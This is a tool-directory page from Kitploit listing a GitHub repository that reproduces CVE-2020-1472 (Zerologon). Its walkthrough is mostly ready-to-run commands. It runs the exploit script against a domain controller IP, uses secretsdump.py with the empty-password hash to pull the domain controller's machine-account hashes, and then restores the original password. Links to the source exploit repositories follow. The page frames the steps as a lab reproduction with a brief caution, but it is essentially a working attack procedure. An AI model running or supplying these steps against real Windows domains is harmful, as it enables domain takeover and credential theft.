Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2020-1472 — CVE-2020-1472复现流程 | Kitploit
Tools/GitHubGitHub/naxg/cve-2020-1472
Password CrackingReconnaissanceVulnerability AnalysisExploitationPost-ExploitationPenetration Testing
GitHubnaxg/cve-2020-1472

CVE-2020-1472

CVE-2020-1472复现流程

View Repository
4165 years agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

After reproducing, there are some small bugs; it gets stuck on the login screen for a long time after rebooting. Not sure if it's just me. (Use cautiously in real environments.)

In practice, you can use secretsdump.py with the -use-vss and -history options to retrieve historical hashes for recovery.

Step 1

pip3 install -r requirements.txt

View hash

secretsdump.py molecule-labs.com/administrator:[email protected] -just-dc-user 'AD$'

images

Attack

python3 CVE-2020-1472.py AD AD$ 192.168.175.132

images

Query domain controller hash

secretsdump.py molecule-labs.com/'AD$'@192.168.175.132 -just-dc-user 'AD$' -hashes :31d6cfe0d16ae931b73c59d7e0c089c0

images

Restore hash

python3 reinstall_original_pw.py AD 192.168.175.132 061e8e521872fa93a2f8d89ca0683145

images

Query restored hash

secretsdump.py molecule-labs.com/administrator:[email protected] -just-dc-user 'AD$'

images

Script sources https://github.com/blackarrowsec/redteam-research

https://github.com/dirkjanm/CVE-2020-1472

https://github.com/SecuraBV/CVE-2020-1472

Download Tool